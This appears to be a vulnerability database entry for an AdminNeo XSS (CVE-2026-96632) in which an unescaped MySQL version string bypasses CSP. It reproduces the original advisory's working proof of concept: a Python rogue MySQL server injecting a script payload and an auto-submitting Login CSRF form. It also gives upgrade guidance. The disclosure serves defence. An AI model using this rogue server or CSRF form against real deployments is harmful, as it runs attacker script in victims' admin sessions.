# CVE-2026-96632: AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)

> Archived entry. Full-text search covers entries since 2026-11-10; exact IDs work for all years.

- **Severity:** HIGH
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Unknown
- **CWE:** CWE-79
- **Aliases:** GHSA-rx7m-wxwq-vxr9
- **Published:** 2026-10-30T22:52:23.000Z
- **Modified:** 2026-10-30T23:00:04.305Z

## Who should check

- Projects that depend on Packagist package adminneo-org/adminneo (\< 5.5.1)

## Description

\#\# Summary

AdminNeo inserts the database server's version string into a \`\<script\>\` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.

Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj

\#\# Prerequisites

- Target runs AdminNeo
- Attacker controls a reachable MySQL server (a 80-line Python script)

\#\# Root Cause

\`admin/core/Admin.php\`, lines 1285-1286:

\`\`\`php
echo script("let autocompletion;\\nwindow.addEventListener('DOMContentLoaded', () =\> { initSyntaxHighlighting('" .
    Connection::get()-\>getVersion() . "', '" . Connection::get()-\>getFlavor() . "', autocompletion); });");
\`\`\`

\`script()\` wraps the output in \`\<script nonce="VALID\_NONCE"\>\`. Return value of \`Connection::get()-\>getVersion()\` is not escaped.

\#\# Steps To Reproduce

\#\#\# 1. Build the environment

\*\*Dockerfile\*\* (AdminNeo):

\`\`\`dockerfile
FROM php:8.3-cli
COPY adminneo.php /var/www/adminneo.php
WORKDIR /var/www
EXPOSE 8081
CMD \["php", "-S", "0.0.0.0:8081"\]
\`\`\`

\*\*rogue\_mysql.py\*\* (fake MySQL server that accepts any login):

\`\`\`python
import socket, struct, threading

PAYLOAD = "1');alert(origin)//"

\# Capability flags the client expects
CAP\_PROTOCOL\_41     = 0x0200
CAP\_SECURE\_CONNECTION = 0x8000
CAP\_PLUGIN\_AUTH     = 0x00080000
CAPS\_LOW  = CAP\_PROTOCOL\_41 \| CAP\_SECURE\_CONNECTION
CAPS\_HIGH = (CAP\_PLUGIN\_AUTH \>\> 16)

def make\_packet(seq, payload):
    length = struct.pack("\<I", len(payload))\[:3\]
    return length + bytes(\[seq\]) + payload

def make\_greeting(version\_str):
    pkt  = b"\\x0a"                                  \# protocol version 10
    pkt += version\_str.encode() + b"\\x00"            \# version string
    pkt += struct.pack("\<I", 1)                      \# connection id
    pkt += b"\\x41" \* 8                               \# auth plugin data part 1
    pkt += b"\\x00"                                   \# filler
    pkt += struct.pack("\<H", CAPS\_LOW)               \# capability flags lower
    pkt += b"\\x21"                                   \# charset utf8
    pkt += struct.pack("\<H", 0x0002)                 \# status flags
    pkt += struct.pack("\<H", CAPS\_HIGH)              \# capability flags upper
    pkt += b"\\x15"                                   \# auth data length (21)
    pkt += b"\\x00" \* 10                              \# reserved
    pkt += b"\\x41" \* 12 + b"\\x00"                    \# auth plugin data part 2
    pkt += b"mysql\_native\_password\\x00"              \# auth plugin name
    return make\_packet(0, pkt)

def make\_ok(seq):
    pkt  = b"\\x00"          \# OK marker
    pkt += b"\\x00"          \# affected rows
    pkt += b"\\x00"          \# last insert id
    pkt += struct.pack("\<H", 0x0002)  \# status flags
    pkt += struct.pack("\<H", 0)       \# warnings
    return make\_packet(seq, pkt)

def make\_eof(seq):
    pkt  = b"\\xfe"
    pkt += struct.pack("\<H", 0)       \# warnings
    pkt += struct.pack("\<H", 0x0002)  \# status flags
    return make\_packet(seq, pkt)

def make\_err(seq, msg=b"not supported"):
    pkt  = b"\\xff"
    pkt += struct.pack("\<H", 1045)
    pkt += b"\#HY000"
    pkt += msg
    return make\_packet(seq, pkt)

def handle(conn):
    conn.sendall(make\_greeting(PAYLOAD))
    try:
        conn.recv(4096)     \# client login request
    except Exception:
        conn.close()
        return
    conn.sendall(make\_ok(2))  \# accept login

    \# Answer any queries Adminer sends after login
    while True:
        try:
            data = conn.recv(4096)
            if not data:
                break
            seq = data\[3\] + 1
            \# Send ERR for all queries (Adminer still has the version in memory)
            conn.sendall(make\_err(seq))
        except Exception:
            break
    conn.close()

srv = socket.socket()
srv.setsockopt(socket.SOL\_SOCKET, socket.SO\_REUSEADDR, 1)
srv.bind(("0.0.0.0", 3307))
srv.listen(5)
print("\[\*\] Rogue MySQL on :3307 - version: " + PAYLOAD)
while True:
    conn, addr = srv.accept()
    print(f"\[+\] Connection from {addr}")
    threading.Thread(target=handle, args=(conn,)).start()
\`\`\`

\`\`\`shell
\# Terminal 1: start Adminer
docker build -t adminer-xss .
docker run -d -p 8081:8081 --name adminer-xss adminer-xss

\# Terminal 2: start rogue MySQL
python3 rogue\_mysql.py
\`\`\`

\#\#\# 2. Trigger the XSS

Open a browser and navigate to \`http://localhost:8081/adminneo.php\`:

1. Select driver: \*\*MySQL\*\*
2. Server: \`HOST\_IP:3307\` (IP of the machine running rogue\_mysql.py)
3. Username: \`root\`
4. Password: \`x\`
5. Click Login.

The rogue server accepts the login. AdminNeo renders the dashboard and includes:

\`\`\`html
\<script nonce="REAL\_NONCE"\>let autocompletion;
window.addEventListener('DOMContentLoaded', () =\> { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });\</script\>
\`\`\`

The browser executes \`alert(origin)\` with full CSP bypass because the script tag carries a valid nonce.

\#\#\# 3. Trigger it via Login CSRF

The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server:

\`\`\`html
\<form id="f" method="POST" action="http://TARGET/adminneo.php"\>
  \<input name="auth\[driver\]" value="mysql"\>
  \<input name="auth\[server\]" value="ROGUE\_IP:3307"\>
  \<input name="auth\[username\]" value="root"\>
  \<input name="auth\[password\]" value="x"\>
\</form\>
\<script\>document.getElementById('f').submit()\</script\>
\`\`\`

\#\# Collaborator Request

This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

## Affected and fixed versions

- Packagist `adminneo-org/adminneo`: affected \< 5.5.1; fixed 5.5.1 (osv)

## Mitigation

- Upgrade adminneo-org/adminneo to 5.5.1 or later.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2026-96632. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2026-96632.md
Affected: adminneo-org/adminneo < 5.5.1
Fixed in: 5.5.1

Steps:
1. Search this machine and project for adminneo-org/adminneo (Packagist): dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2026-96632 being exploited?

There is no confirmed exploitation: CVE-2026-96632 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known.

### How serious is CVE-2026-96632?

It has no CVSS score yet. Unknown.

### Which versions are affected by CVE-2026-96632?

adminneo-org/adminneo \< 5.5.1.

### Is there a fix for CVE-2026-96632?

Yes. Fixed in 5.5.1. Upgrade adminneo-org/adminneo to 5.5.1 or later.

### How do I check if I'm affected by CVE-2026-96632?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- vendor: <https://github.com/adminneo-org/adminneo/security/advisories/GHSA-rx7m-wxwq-vxr9>
- vendor: <https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj>
- patch: <https://github.com/adminneo-org/adminneo/commit/2c86406808bc2517efb35f5595b3a05761c2eacd>
- other: <https://github.com/adminneo-org/adminneo>
- other: <https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- OSV: CC-BY 4.0 <https://osv.dev/vulnerability/GHSA-rx7m-wxwq-vxr9> (license: <https://creativecommons.org/licenses/by/4.0/>)

HTML: <https://flawdb.com/CVE-2026-96632> · JSON: <https://flawdb.com/api/v1/entries/CVE-2026-96632>
